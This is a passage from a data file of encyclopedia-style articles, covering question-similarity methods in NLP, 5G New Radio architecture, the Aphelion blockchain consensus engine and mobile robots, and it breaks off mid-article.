employed with traditional ML models such as SVM. \n\nWith neural networks, extensive feature engineering is not required. For example, when using Sentence-BERT, the sentence embeddings are used as features. In fact, these embeddings and neural networks are meant to capture context and semantics effectively. However, enabling neural networks to use syntactic information is an ongoing research.  \n\nWhere embeddings such as GloVe are used, correcting spelling errors may give poorer results since the embeddings themselves were trained without correcting for spelling. \n\n\n### When are two questions said to be semantically equivalent?\n\nVarious similarity measures, also called **distance measures**, exist to compare two vectors, each representing one question: cosine distance, Euclidean distance, Word mover's distance, Minkowski distance, Jaccard distance, and many more. We note the calculations for cosine, Euclidean and weighted Manhattan: \n\n$$d\\_{cos}(h\\_1, h\\_2) =\\frac{h\\_1 . h\\_2}{||h\\_1|| ||h\\_2||}$$\n\n$$d\\_{euc}(h\\_1, h\\_2) = ||h\\_1 − h\\_2||$$\n\n$$d\\_{w−man}(h\\_1, h\\_2) = w · |h\\_1 − h\\_2|$$\n\nMore generally, in STS, many methodologies are available to calculate semantic similarity: \n\n    + **Knowledge-based**: Such as the use of WordNet and distance measures associated with WordNet graph nodes.\n    + **Statistical or Corpus-based**: Techniques include Latent Semantic Analysis (LSA), Pointwise Mutual Information-Information Retrieval (PMI-IR), Normalized Google Distance (NGD).\n    + **Character-based**: Longest Common Substring (LCS), Damerau-Levenshtein, Jaro, Needleman-Wunsch, Smith-Waterman, n-gram.\n    + **Term-based**: Manhattan, Euclidean, Jaccard, Cosine similarity, Soft Cosine Similarity, Sorensen-Dice index, Simple Matching Coefficient (SMC).While different distance measures are available, it's hard to know which of these is ideal for measuring semantic similarity. Homma et al. addressed this with a 2-layer neural network that learned the correct distance function. \n\n\n### Which datasets are useful for benchmarking or training Question Similarity models?\n\nWe note a few of these:\n\n    + **CQADupStack**: Questions and answers from 12 subforums of StackExchange, each subforum with at least 10,000 threads and 500 duplicate questions. Another StackExchange dataset covering 19 domains is also available. StackExchange data dump is also useful. This dataset is part of SemEval-2017 Task 3.\n    + **glue/qqp**: General Language Understanding Evaluation (GLUE) is a benchmark for many NLP tasks. One of them involves Quora Question Pairs2 dataset of about 364K training, 40K validation and 391K testing data samples. GLUE's *glue/stsb* dataset might also be useful. The first Quora dataset is also available.\n    + **MQS**: Medical Question Similarity dataset related to COVID-19. Contains 3,048 labelled medical questions pairs.\n    + **Microsoft Research Paraphrase Corpus**: 5,800 pairs of sentences from web news sources including annotations to indicate semantic similarity.Since question answering (QA) is a closely related task, QA datasets can also be used. 719 QA pairs from the web apps domain of StackExchange is one such dataset.  Google's Natural Questions has 307,373 training examples, 7,830 development examples, and 7,842 test examples.   \n\nOther datasets include SQuAD,  SuperGLUE, , TriviaQA, TREC-QA, WikiQA, YahooCQA, and SemEval CQA (2015, 2016, 2017). \n\n\n### What are some classical machine learning techniques used in question similarity?\n\nQuestion similarity can be seen as a classification problem. Many classical ML techniques have been applied to this problem including Support Vector Machine (SVM), Decision Tree, Logistic Regression, Extreme Gradient Boosting, Random Forests, and Adaptive Boosting.  Dey et al. (2016) showed good results using SVMs with hand-picked features and pre-processed data. \n\nSimilarity is determined either statistically (TF-IDF) or semantically (meaning and context). Semantic similarity requires knowledge representation for which WordNet can provide shallow lexical semantics. Other NLP tasks such as word sense disambiguation and relation extraction can also be useful.\n\n\n### What are some neural network approaches used in question similarity?\n\nTill the mid-2010s, neural networks performed worse than SVMs due to limited training on noisy datasets. Subsequently, neutral networks started to perform better. One approach is to use \"Siamese\" neural network architecture based on CNN, RNN or GRU. Each question is encoded individually using the same network and then compared. For better interaction between the questions, bilateral multi-perspective matching LSTM model is an option. \n\nWhere sufficient labelled data is not available, domain adaptation is possible. Shah et al. did this for some StackExchange forums using labelled data from other forums. Joty et al. used Adversarial Neural Networks across languages English and Arabic. Hazem et al. built a multi-domain framework using a StackExchange dataset covering 19 domains. \n\nTransformer models such as BERT have been used for question similarity. In general, model training benefits from not just question-question pairs but also question-answer pairs and other NLP tasks.  \n\nPapers With Code curates the latest developments in Question Similarity. \n\n\n### What tools or libraries are available for question similarity?\n\nIn Python, NumPy, Pandas and Scikit-Learn are commonly used libraries for machine learning. NLTK, TextBlob, spaCy, Gensim, Pattern, and Stanford CoreNLP (in Java with Python wrappers) are more specific to NLP. A GitHub repo has a curated list of Python NLP libraries. \n\nFor neural network models, PyTorch or TensorFlow libraries are commonly used. Hugging Face is an active community and library that bundles PyTorch, TensorFlow, and models based on them. Embeddings, BERT and its many variants are available within Hugging Face. \n\nFor semantic similarity, Java libraries such as Semantic Measures Library, SEMILAR and SEMILAT, and DISCO Builder/API could be useful. There's a Perl module for WordNet-based similarity. UMLS is another Perl module specific to medical domain. RxNLP has an API for text similarity. \n\n## Milestones\n\n1993\n\nTo compare the similarity of two signatures, Bromley et al. propose using two identical time delay neural networks that share one output that captures the similarity of the two inputs. They call this the **Siamese Neural Network**. This technique of combining two neural networks is later used specifically for the task of question similarity.  \n\nJul  \n2015\n\nBogdanova et al. compare Support Vector Machine (SVM) with their proposed approach of **Convolutional Neural Network (CNN)**. They train their CNN with positive and negative pairs of semantically equivalent questions. The dataset is *Ask Ubuntu* forum on StackExchange. Their definition of a question consists of both title and body. CNN captures local features around each word, which are then combined to produce a fixed-size vector representation for each question. Their results show that CNN outperforms SVM. Moreover, results are better when embeddings are learned from in-domain data. \n\nSep  \n2015\n\nSanborn and Skryzalin try out both **Recurrent Neural Network (RNN)** and **Recursive Neural Network** within a Siamese architecture. They use SemEval-2015 Task 2 as the dataset. For baselines, they use cosine similarity between bag-of-words vectors, cosine similarity between GloVe-based sentence vectors, and Jaccard similarity between sets of words. They find that RNN with 100-dimensional word vectors and 20% dropout gives best performance, although not the state of the art. \n\n2016\n\nDey et al. apply **SVM** to short-text Twitter data based on a SemEval 2015 dataset. They obtain an F1-score of 0.741 for semantic similarity. \n\nFeb  \n2017\n\nBonadiman et al. recognize that question-question similarity relates to question-comment similarity and new question-comment similarity. They therefore train a deep neural network jointly on these three tasks of SemEval 2016 Task 3, a technique that's called **Multi-Task Learning (MTL)**. They use CNN with max pooling as the sentence model. This is followed by a Multi-Layer Perceptron (MLP) with sigmoid output layer. For feature embedding, they use word overlap. \n\nJul  \n2017\n\nConneau et al. show that NLP tasks can benefit from **pre-trained sentence level embeddings** rather than just word embeddings as in GloVe or word2vec. They consider seven different encoder architectures and find best performance with BiLSTM with max pooling with embeddings trained in a supervised manner on Natural Language Inference datasets. They obtain better results than earlier sentence embeddings obtained via unsupervised methods such as SkipThought (2015) and FastSent (2016). \n\n2018\n\nCer et al. propose the **Universal Sentence Encoder (USE)** via transformer-based encoding with multi-task learning. They also propose a simpler Deep Averaging Network (DAN). The former gives better performance at the cost of higher compute. They also find that transfer learning via sentence embeddings performs better than via word embeddings. For sentence embeddings, USE is publicly available via TensorFlow Hub. It can be fine tuned for specific tasks. \n\nAug  \n2019\n\nReimers and Gurevych propose **Sentence-BERT (SBERT)** as a modification of pretrained BERT to train sentence embeddings. They use a Siamese network architecture and fine tune SBERT using Natural Language Inference (NLI) data. On seven Semantic Textual Similarity (STS) tasks and also SentEval, they achieve better performance than Universal Sentence Encoder. \n\nAug  \n2020\n\nIn medical domain, specifically COVID-19 FAQs, McCreery et al. show that double fine-tuning during pretraining yields good performance. They try four different pretraining tasks: question-question pairs, question-answer pairs, answer-answer pairs and question-category pairs. They observe best results when the network is pretrained with medical question-answer pairs and then fine tuned on medical question-question pairs. On question similarity task, the model gives 84.5% accuracy. Even with much smaller training set, it achieves 80% accuracy.","meta":{"title":"Question Similarity","href":"question-similarity"}}
{"text":"# 5G New Radio\n\n## Summary\n\n\n5G defines a new radio interface called **5G New Radio (NR)**. Rather than being something new, it should be seen as an evolution of LTE technology. In fact, the term **Next Generation Radio Access Network (NG-RAN)** is commonly used and it covers both 5G NR and LTE/E-UTRA radio access. \n\n5G attempts to address many new use cases not possible in earlier generations. 5G NR plays an important role in fulfilling these new cases. All layers of the 5G NR protocol stack are enhanced but perhaps most changes are within PHY. \n\nWhile there are many 3GPP specifications that define 5G NR, beginners can start with TS 38.300 and TS 38.401 that give high-level descriptions.\n\n## Discussion\n\n### Which are the 5G NR technical enablers for achieving 5G use cases?\n\nThe three broad 5G use cases supported by 5G NR are Enhanced Mobile Broadband (eMBB), Massive Machine-Type Communications (mMTC) and Ultra-Reliable Low-Latency Communications (URLLC). \n\n5G NR spans spectra from sub-GHz to mmWave bands. This enables deployments of macro cells to picocells. Both licensed and unlicensed bands are allowed. Wide bandwidths at mmWave bands enable eMBB. Multiple bands can be combined to offer higher data rates and boost capacity. \n\nFor URLLC, reliability is improved via multi-antenna transmission, multiple carriers and packet duplication. Latency is reduced by mini-slot transmission, grant-free uplink access, and eMBB resource pre-emption. Control and reference signals appear at the start of a slot. \n\nTo cater to wide range of bands and deployments, OFDM Sub-Carrier Spacing (SCS) is flexible while maintaining time-domain alignment. As SCS goes up, the slot duration shrinks. For example, wider SCS might suit URLLC and a narrower SCS for MBB/mMTC. \n\nThere are many ways to aggregate slots with guard periods between uplink and downlink. Thus, we can have short transmissions for URLLC and longer ones for eMBB. \n\n\n### What are the key design principles behind 5G NR?\n\nWe identify the following: \n\n    + **Flexibility**: OFDM sub-carrier spacing and symbol duration are flexible such that services with different requirements of bandwidth and latency can coexist. The design allows for wide range of deployments from outdoor macrocells to indoor picocells. Wide spectrum from sub-GHz to mmWave bands are supported. Symbol allocation within a slot is flexible.\n    + **Forward Compatibility**: Design is such that it's easy to introduce new use cases in future. This is enabled by self-contained slots and beams, that is, they can be decoded without dependency on other slots or beams. This also relates to design flexibility: details are configured at runtime rather than fixed in specifications.\n    + **Ultra-Lean Design**: LTE transmits regular reference signals, synchronization signals and system broadcasts. 5G is designed to minimize such \"always on\" transmissions. This improves network energy efficiency and reduces interference in high traffic load conditions. This also assists forward compatibility. Another related approach is device-centric mobility. A mobile sends out periodic reference signals that a base station measures, rather than monitor reference signals from many nearby cells.\n\n### What's the architecture of 5G NR?\n\n**Next Generation Radio Access Network (NG-RAN)** consists of gNB and ng-eNB. *gNB* serves a 5G UE over 5G New Radio (NR), a new air interface developed for 5G. gNB connects to 5G Core, though some can connect to 4G EPC as well. *ng-eNB* connects to 5G Core but serves a 5G UE over E-UTRA radio. \n\ngNB and ng-eNB are interconnected via **Xn interface**. In the user plane, Xn uses GTP-U over UDP/IP. In the control plane, Xn uses XnAP over SCTP. Thus, signalling packets have guaranteed delivery whereas user plane packets don't. Xn-U does data forwarding and flow control. Xn-C facilitates UE mobility management and dual connectivity. \n\n5G NR nodes connect to 5G Core via **NG interface**. Like Xn, NG-U uses GTP-U over UDP/IP, and NG-C uses NG-AP over SCTP. More specifically, NG-U connects to User Plane Function (UPF) and NG-C connects to Access and Mobility Management Function (AMF) in the core. NG-C and NG-U are also called N2 and N3 interfaces respectively. \n\n\n### What's the 5G NR protocol stack?\n\nThe air interface between the UE and gNB is usually described in two planes: \n\n    + **User Plane (UP)**: Carries user data. Consists of PHY, MAC, RLC, PDCP and SDAP. SDAP is new in 5G (doesn't exist in LTE).\n    + **Control Plane (CP)**: Carries signalling such as sending system broadcasts, paging UEs, establishing connection, handover, measurement reporting, NAS messaging, etc. Consists of PHY, MAC, RLC, PDCP and RRC. In addition, the UE has Non-Access Stratum (NAS) layer that terminates on the network side in the 5G Core.PHY is commonly called Layer 1. MAC/RLC/PDCP/SDAP are called sub-layers of Layer 2. \n\nWhen transmitting, SDAP maps QoS flows to data radio bearers. PDCP maps (data or signalling) radio bearers to RLC channels. RLC maps RLC channels to logical channels. MAC does the scheduling and maps logical channels to transport channels. PHY maps transport channels to physical channels. When receiving, the layers map in the opposite direction. \n\n\n### What are the key principles or features of NG-RAN?\n\nAn essential principle of NG-RAN is the logical separation of signalling and data transport networks. NG-RAN and 5GC functions are separated from transport functions, even if they happen to reside in the same equipment. Mobility of an RRC connection is fully controlled by NG-RAN. \n\nNG-RAN nodes can be further disaggregated into Radio Unit (RU), Distributed Unit (DU) and Centralized Unit (CU). By locating these parts at cell site or at cloud edge different deployment options are possible. Operators can decide based on the use case, CAPEX and OPEX. 3GPP has standardized the **F1 interface** between gNB-DU and gNB-CU, the **W1 interface** between ng-eNB-DU and ng-eNB-CU, and the **E1 interface** between gNB-CU-CP and gNB-CU-UP. Other industry bodies might standardize the RU-DU interface. \n\nNG-RAN has many functions: Radio Resource Management (RRM); routing of packets to AMF or UPF; encryption and integrity protection of data; IP and Ethernet header compression; connection setup and release; scheduling and transmission of system broadcasts and paging; QoS flow management; radio access network sharing; dual connectivity; support of network slicing; and more. \n\n\n### What role does each protocol layer play in NG-RAN?\n\nSDAP maps a QoS flow to a data radio bearer. It's not relevant to the control plane. \n\nPDCP does header compression/decompression using ROHC or EHC protocols. It encrypts/decrypts packets. It adds/checks integrity of packets. It supports both in-order and out-of-order delivery. It discards duplicates. \n\nRLC supports three transmission modes: Transparent Mode (TM), Unacknowledged Mode (UM), and Acknowledged Mode (AM). An RLC entity's functions are based on its mode. In AM, there's error correction through ARQ, duplicate detection and error detection. In AM and UM, SDUs can be segmented and there's sequence numbering; plus, SDUs can be discarded. \n\nMAC maps SDUs from one or more logical channels to transport channels. It does padding. It does error correction through HARQ, one per Component Carrier (CC). It prioritizes transmission towards UEs (downlink only), across logical channels of a UE, and UE resources. \n\nAmong the PHY procedures are link adaption, power control, cell search, random access, and HARQ. PHY processing includes code block segmentation and CRC attachment, LDPC coding, rate matching, scrambling, modulation, layer mapping, and mapping to assigned resources and antenna ports. \n\n\n### How do 5G NR L2 sub-layers differ from LTE's E-UTRA sub-layers?\n\n**SDAP** is new in 5G NR. 5G Core can configure different QoS requirements for different IP flow of a PDU session. SDAP maps IP flows to data radio bearers that can provide the necessary QoS. \n\n**PDCP** does packet duplication when sending, and reordering and duplicate detection when receiving. This is done to satisfy URLLC use case. PDCP also includes integrity protection for user plane data. \n\nUnlike LTE, **RLC** doesn't concatenate RLC SDUs since something similar is done at MAC. Likewise, 5G RLC doesn't do reordering since the reordering done at PDCP is deemed adequate. \n\n**MAC** carries signalling for beam management done at PHY. \n\nWhereas LTE RRC has only two states (*Idle* and *Connected*), 5G **RRC** includes *Inactive* as an additional state. This enables devices to save power and quickly reconnect with minimal signalling. UE can also request specific system information instead of NG-RAN periodically sending the same. \n\n\n### What are the enhancements to 5G NR in Release 16?\n\nWe summarize the main enhancements:  \n\n    + **MIMO**: MU-MIMO support of higher rank, multiple transmission and reception points (multi-TRP), better multi-beam management (useful in mmWave band), and extended uplink coverage (full power UL transmission).\n    + **URLLC**: Using Coordinated Multi-Point (CoMP) reliability is improved. CoMP uses multi-TRP. Improved HARQ, flexible scheduling, inter-device service multiplexing and intra-device channel prioritization are other changes.\n    + **Time-Sensitive Networking (TSN)**: For industrial automation, TSN provides time-deterministic delivery of data packets.\n    + **Power Save**: Wakeup Signal (WUS) lets a device skip the next low-power DRX (discontinuous reception) monitoring period.\n    + **Integrated Access and Backhaul (IAB)**: IAB allows a base station to provide wireless backhaul to neighbouring base stations.\n    + **NR-U**: 5G can operate in unlicensed spectrum, either with a licensed/shared spectrum as anchor or in standalone mode.\n    + **Non-Public Network (NPN)**: For industrial IoT, private networks with small cells, dedicated resources and low latency are possible.\n    + **Cellular-Vehicle-to-Everything (C-V2X)**: NR-based sidelink is introduced. Multicast groups are defined based on distance and applications.\n    + **Positioning**: Meets the accuracy requirements of 3 meters (indoor) and 10 meters (outdoor).\n\n\n## Milestones\n\nMar  \n2017\n\nFirst drafts of two high-level documents *TS 38.300: NR and NG-RAN Overall description; Stage-2* and *TS 38.401: NR-RAN; Architecture description* are published.  \n\nDec  \n2017\n\n3GPP approves the first specifications for 5G, called \"early drop\" of Release 15. Specifically, it ratifies **Non-Standalone (NSA) 5G New Radio (NR)** specification. This enables vendors to start implementing the first 5G products. NSA 5G will allow operators to leverage existing 4G infrastructure. However, it can't support some use cases that require ultra-low latency and higher capacity. \n\nJun  \n2018\n\nAlso part of Release 15, and called \"main drop\", 3GPP approves many specifications for 5G including the **Standalone (SA)** option. This allows operators without 4G networks to offer 5G service. \n\nMar  \n2019\n\n3GPP approves \"late drop\" of Release 15. This might aid in migrating from 4G to 5G, or NSA 5G to SA 5G. However, some vendors and operators don't see this as essential since Release 16 or 17 specifications could offer alternatives.  \n\nJul  \n2020\n\n3GPP finalizes **Release 16** specifications. This adds support for unlicensed spectrum. It improves on latency, power consumption, positioning and cellular-to-vehicle connectivity. Existing features enhanced by Release 16 include MIMO, beamforming, Dynamic Spectrum Sharing (DSS), Dual Connectivity (DC) and Carrier Aggregation (CA).","meta":{"title":"5G New Radio","href":"5g-new-radio"}}
{"text":"# Aphelion Consensus Algorithm\n\n## Summary\n\n\nA lot of research has been carried out regarding Artificial Intelligence (AI) and its application in the real world. Blockchain also emerged as an important technology in the 2010s. Blockchain's decentralized architecture presents a lot of complex issues, but with AI as the basis of a consensus algorithm, the blockchain system can be redefined to have much higher real-world scalability, decentralization and security. An AI-enabled blockchain can even solve a long-present problem—seamless connection between different blockchains, private and public.\n\nAphelion is an **AI-governed autonomous blockchain consensus engine**. It's responsible for running many tasks while governing the blockchain, starting from simple ones like extracting features and categorizing nodes that join the network, and ending with detecting security attacks and adjusting network's parameters through time to guarantee the best performance and efficiency at all times.\n\n## Discussion\n\n### What are the key values of decentralized technology?\n\nThree key values of blockchain technology are scalability, decentralization and security. However, blockchain has struggled to strive in all three areas simultaneously. Most of the blockchains right now are trade-off systems. \n\n**Scalability** defines how fast blockchain is in a real-world environment in terms of transactions per second and block finality. Most of the blockchains today are too slow to sustain the use cases and expand.\n\n**Decentralization** is a process of distributing decision-making power from a central authority to the network participants. The main reasons that affect a network's decentralization are governance setup, utility, update model, knowledge and investment requirement, and reward system.\n\n**Security** reflects on 51% attack, double spending, DDOS, poorly written code, off-chain implementations and other issues. Solutions that blockchains propose are very complex. Therefore, many blockchains still face security breaches.\n\n**Interoperability** is another core value. It's the ability of blockchains to communicate with one another. Making transactions from one blockchain to another is a huge milestone, but till now it's not been possible in a decentralized manner, without the use of atomic swap, offline signatures or central authoritative control. \n\n\n### How is Aphelion solving the blockchain problems?\n\nAphelion, a concept in blockchain technology that emerged in 2020, is an AI-governed autonomous blockchain consensus engine. With the inclusion of AI in the consensus engine, it enables blockchain to be performant with respect to scalability, decentralization and security.\n\nAphelion is involved in many tasks, first of which occurs right when nodes join the network. AI evaluates node prior contribution as well as technical characteristics that typically include computing power, disk space, and network speed. This information is combined to understand the nature of the nodes that helps the engine to classify them into different node pools.\n\nNode pools are used to improve the system's efficiency by dividing the workload among them. After each dataset, Aphelion consensus records the performance and learns. Thus in future, it's able to make better predictions on how to split the workload and further increase the efficiency of the system. \n\n\n### What are other benefits of utilizing Aphelion in blockchain?\n\nCurrent blockchains lack a fair distribution of nodes in the network. There's always a bottleneck in terms of performance. With multiple pools, Aphelion presents a new mechanism for the blockchain. It accommodates high-performance and low-performance systems, thus not just improving the blockchain's scalability, but also network's decentralization as all nodes on the system, even mobile ones, have a fair chance at contributing and earning rewards. \n\nIt's also important to highlight that the major difficulty in utilizing AI in decentralized networks is that artificial agents need to be decentralized as well. Earlier systems lacked this capability and therefore couldn't achieve full decentralization. Aphelion fills that gap successfully with the introduction of an AI-based consensus engine that's completely decentralized.\n\n\n### What information is gathered from nodes?\n\nTo mitigate the issue of taking control of the network and throughput of the blockchain, a feature extraction agent is used to extract system information that can be used to predict not only the performance of the system but also its overall effect on the network in terms of scalability and security. A feature extraction engine extracts node features at the time of their initialization and communicates the extracted data to all the classification agents running on the network. \n\nThe four major features that are required for the classification agent includes the node's computing power, bandwidth, contribution and life of a node. For these features, the extraction algorithm, after extracting the data, tags the data with the node's key to remove any kind of duplication and prepares the feature matrix `M = {X1, X2, X3}`:\n\n    + `X1 = {Power Ratio, Life-time, Contribution}`\n    + `X2 = {Latency, Connections, Bandwidth}`\n    + `X3 = {Assignment probability, Removal probability}`Aphelion uses these features to classify each node to one of the four pools: Power Pool, Exploit Finding Pool, Audit Pool, and Maintenance Pool. \n\n\n### What else is important for the feature extraction?\n\n**Dataset cleansing**: Once the features are extracted and are received by the classification agent, the dataset for the agent is prepared. The cleansing process includes data detecting and correcting corrupt or inaccurate records, which will be modified according to a specific use case.\n\n**Normalization**: After cleansing the data, it's normalized to avoid any inaccurate learning. Normalization is one of the most important steps before the data is given to any ML or AI algorithm. To normalize the dataset linear scaling formula is used.\n\n**Splitting dataset**: Dataset is split into three portions. 70% of the data will be used for training, 15% of the data will be used for testing and the remaining 15% will be used for validation. \n\n\n### What is the Power pool?\n\nPower pool is where all the transactions and activities take place. Nodes here are differentiated into three different classes named Lightning nodes, Medium nodes and Lower nodes. With the inclusion of pools and their subclasses Aphelion protocol gives the blockchain an ability to accommodate any kind of node to join the network and participate in validating the transactions. \n\n\n### What is the Exploit-Finding (EF) pool?\n\nExploit finding pool serves as the security layer for the blockchain - to save the blockchain from any kind of exploit that could disrupt the whole system. Nodes in the EF pool work collectively to verify and index the blocks included by the power pool. \n\nWhen any vulnerabilities are exposed, the decision agent is reported and the necessary steps are taken to secure the system beforehand. The dataset is constantly being provided to the decision agent, which predicts the behavior of the nodes in complex scenarios. Exploiting attempts are carried by the algorithm on the isolated copy of the current blockchain, to ensure if there is any kind of vulnerability present and calculate the steps that can be taken by the system for it to behave as it is intended to. \n\n\n### What is the Audit pool?\n\nDue to inclusion of multi-pool architecture and the decision agent, there is a possibility that invalid data can be provided to the agent. To overcome this issue, an audit pool is included in the system. It serves as the audit layer for the blockchain. The audit pool overlooks the overall working of the pools in the network. To join the audit pool, the node must satisfy the threshold to be regarded as trustworthy, and be a subject to stake in the protocol.\n\nThere is also a possibility that a node secretly behaves as a trustful node but after joining the pool it can feed invalid data. To mitigate this issue, the Aphelion protocol includes randomized round trip and multi-layered gossip mechanism. Through this process, nodes are randomly appointed to participate and no node at any instant gets to know whether or not it's the one being appointed. \n\n\n### How does Audit pool work?\n\nTo make a decision, votes are collected by the nodes, but to reduce cost and to be fair, the votes are also cast without the knowledge of the nodes. The multi-layered gossip includes the nested data approach, where the node's data communicated is indexed over the swarm.\n\nBy extracting the history of the nodes' index and unmarshalling the data, the protocol calculates the node's acceptance on the data and feeds the calculated value to the decision agent, where the rest of the steps are taken by the decision agent. This ensures privacy, fairness, truthfulness and security. After the round, the extracted data is useless because the algorithm is also programmed with redundancy removal.\n\nAfter the decision agent takes the necessary steps, audit nodes are programmed to broadcast the rules over the whole network. Firewalls and state machine of each pool are updated with the new rules. This may include an increase in threshold, removal of a node or banning a node from the whole network. \n\n\n### What is the Maintenance pool?\n\nAccording to the analysis on computer performance, it's concluded that a system consistently conducting complex operations can reduce its efficiency and life span. The maintenance pool ensures steady performance to save nodes from long and high computation, reduce cost, ensure system's reliability, increase life span and ensure high throughput.\n\nIf a node leaves or is removed from the network due to malicious activity, a node from the maintenance pool can be used as a replacement in order to keep the resources intact.\n\nMaintenance pool doesn't refer to a permanent position for nodes. As the Aphelion protocol resolves the issues of fairness, trustfulness and decentralization, each node in the network is given a chance to contribute to the network. The protocol includes the mechanism of randomized round trip and time slots. Whenever a node has processed some amount of transaction and the time slot assigned has been finished, the node is replaced with another node from the maintenance pool. Replacement and movement doesn't make the node to be kept waiting for multiple hours. Instead, nodes are replaced with other nodes in the threshold of 2-3 seconds. \n\n\n### How does Aphelion ensure fast communication?\n\nFor the Aphelion protocol to run as it is intended, it is necessary that the network layer of the protocol supports fast communication and can scale over time.\n\nThere is high communication among the nodes and the machine learning models. The whole protocol can be badly affected if uncompressed data is communicated over the network and the same channel is utilized by the nodes. To solve this problem, at the network layer Aphelion utilizes **multi-layered gossip swarming with compression mechanisms**. Nodes interact with one another through the swarm and share the compressed data in the streams of packets.\n\nThe gossip communication involves the multi-layered gossip or the nested gossip mechanism, which means that the gossip is layered not only at the swarm level but also at the node level. The protocol is being implemented in Libonomy blockchain, but can allow any blockchain solution to utilize Aphelion network channel. \n\n## Milestones\n\nMay  \n2020\n\nLaunch of public Testnet. \n\nAug  \n2020\n\nMulti-pool consensus is added to Aphelion algorithm. \n\nOct  \n2020\n\nLaunch of public Main-net. \n\nNov  \n2020\n\nLBY, the main asset of Libonomy blockchain, is released. This uses Aphelion consensus.","meta":{"title":"Aphelion Consensus Algorithm","href":"aphelion-consensus-algorithm"}}
{"text":"# Mobile Robot\n\n## Summary\n\n\nMobile robots can move autonomously that is without any assistance from external human operators. A robot is called autonomous when it can determine the actions to be taken to perform a task, using a perception system that helps it. It also needs a control system to coordinate all the subsystems that compromise the robot. \n\nMobile robots function using a combination of **artificial intelligence (AI)** and physical robotic elements like wheels, tracks and legs. Mobile robots are popular in different sectors. They are used to assist with work processes and even accomplish tasks that are impossible or dangerous for humans. Humanoid robots, entertainment pets, drones, and underwater robots are great examples of mobile robots. They are different from other robots because of their ability to move autonomously. These robots have the intelligence to decide based on algorithms it takes input and gives the expected output.\n\n## Discussion\n\n### What are the features of a mobile robot?\n\nEvery mobile robot will incorporate different features that optimize the system to meet a specific goal or to perform a particular task. However, industrial mobile robot systems are mostly used today. They possess several core features that should always be present. These features are: \n\n    + Integrated safety: Safety is the main thing that a mobile robot is\n    + Wireless communication\n    + Fleet management software\n    + FLeet simulation software\n    + Integration with supervisory software\n\n### What are the different types of mobile robots?\n\nMobile robots are classified in two ways based on the environment they work in and on the device they use to work. \n\n \n\n    + *Aerial robots*: These are also known as Unmanned Aerial Vehicles (UAVs). They can fly through the air. Eg: drones, helicopters, etc.\n    + *Land robots*: They are also known as Unmanned Ground Vehicles (UGVs). These robots can navigate on dry land and in buildings. They are used to supply equipment. Eg: Dirtdog etc.\n    + *Underwater Robots*: Autonomous Underwater Vehicles (AUVs) are the other name for underwater robots. They can direct themselves and efficiently travel through water. Eg: Wave gliders.\n    + *Wheeled robots*: Wheeled robots are known as Autonomous Intelligent Vehicles (AIVs). These use the wheels for their locomotion. There are different types of wheeled robots like one-wheeled robots, two-wheeled robots, etc.\n    + *Humanoid robots*: They have the shape of a human body. They work majorly with the help of sensors. Eg: Androids, etc.\n    + *Legged robots*: These robots use articulated limbs like legs and follow a mechanism to provide locomotion. Eg: Haxapad robot etc.\n\n### What are the parts of a mobile robot?\n\nThe main components of an autonomous mobile robot are a microcontroller, chassis, motors, and sensors. \n\n \n\n    + **Microcontroller / SBC**:A microcontroller is the brain of the robot. Arduino and Raspberry Pi are popular options. Raspberry Pi is a single-board computer (SBC) that can run a full Linux OS. An Arduino is ideal for simple robotics projects. Some microcontrollers are Teensy, BeagleBone, micro: bit, and Raspberry Pi Pico.\n\n    + **Chassis**:The chassis is the body where electronics and motors are mounted. They come in various sizes and materials. Some alternative chassis is made with plastic, metal, wood, or cardboard.\n\n    + **Motors**:Motors are fuel for a robot. Some motors have an inbuilt gearbox to increase torque and drive heavier loads. PWM (pulse-width modulation) controls motor speed.\n\n    + **Power**:The power source is of two types. Use separate power sources for motors and electronics. Another is using a single power source connected to both via a BEC (battery eliminator circuit). USB power banks, battery packs, and LiPo batteries are examples.\n\n    + **Sensors**:Sensors allow the robot to move autonomously. An ultrasonic distance sensor sense an obstruction. An IR sensor detects a dark line. \n\n\n### What are the types of sensors used in mobile robots?\n\nSensors are the eyes of a mobile robot. When combined with sensor software algorithms, sensors allow a robot to understand and navigate the environment, detect and avoid collision with objects, and provide location information about the robot. Exteroceptive sensors visualize the world with cameras, lasers, lidar, radar, sonar, infrared, touch sensors such as whiskers or bump sensors, GPS and proximity sensors.\n\nProprioceptive sensors deal with the robot itself. They include accelerometers, gyroscopes, magnetometers, compass, wheel encoders and temperature sensors.\n\nSome typical sensors used in ground mobile robots and drones include:\n\nInertial measurement units (IMUs) combine multiple accelerometers and gyroscopes. They also include magnetometers and barometers. GPS provides latitude, longitude and altitude information. Vision sensors like cameras, both 2D and 3D, as well as depth cameras play an important role in mobile robots. Computer vision and deep learning can aid object detection and avoidance, obstacle recognition and obstacle tracking. Visual odometry and visual-SLAM are becoming more relevant for mobile robots operating in both indoor and outdoor environments. \n\n\n### What is the control system used in a mobile robot?\n\nA robot control system manages commands and directs or regulates the movement and function of various parts of the mobile robot to achieve the desired result. Automatic control is an important requirement for any robotics control installation. The control system of a robot is a feedback control system. It continuously reads from sensors and updates the commands for the actuators to achieve the desired robot behavior. The controller controls and coordinates all aspects of the operation. For high-level performance, the robotics control uses a closed-loop control system like PID controllers, which uses sensor feedback. A feedback control system consists of five basic components like: \n\n    + Input\n    + Process being controlled\n    + Output\n    + Sensing elements\n    + Controller and actuating devices\n\n### what does it make a mobile robot autonomous?\n\nAutonomous mobile robots act on their own. It is programmed to respond the outside stimuli. These robots have a bumper sensor to detect obstacles. When a robot hits an obstacle, the impact triggers the bumper sensor. The robot's programming tells it to back up and take another direction. Mobile robots often use infrared or ultrasound sensors to see obstacles. More advanced robots analyze and adapt to unfamiliar environments like rough terrain. These robots may associate certain terrain patterns with certain actions. The best example of an advanced robot is NASA's preservance rover. \n\n\n### Which areas and sectors can collaboratively mobile robots be applied to?\n\nThe basic function of a mobile robot is to move and explore, transport, and complete complex tasks. They are also used in medicine, surgery, personal assistance, and security. \n\nSome uses of mobile robots in many areas and sectors such as:\n\n    + **Health Care**:Robotics has the potential to change many health care practices like surgery, rehabilitation, and therapy. Robotics are used in surgeries like cardiac, gynecologic, thoracic, urologic, etc. \n\n    + **Agriculture**:There is a rise in the experimental use of mobile robots in operations like pruning, thinning, mowing, spraying, and weed removal. \n\n    + **Food and Beverage Industry**:Mobile robots are used on stationary conveyor equipment. These robots do offer a high amount of operational flexibility. \n\n    + **Manufacturing**:Robotics is being used in many aspects of manufacturing to increase productivity and efficiency while lowering production costs. Robotic manufacturing technology became safe to operate. \n\n    + **Military**:Robotic technology is being applied in many areas of the military. An unmanned drone is an example. Military drones flying over areas of war and conflict, in hostage situations, and during natural and manmade disasters can assess 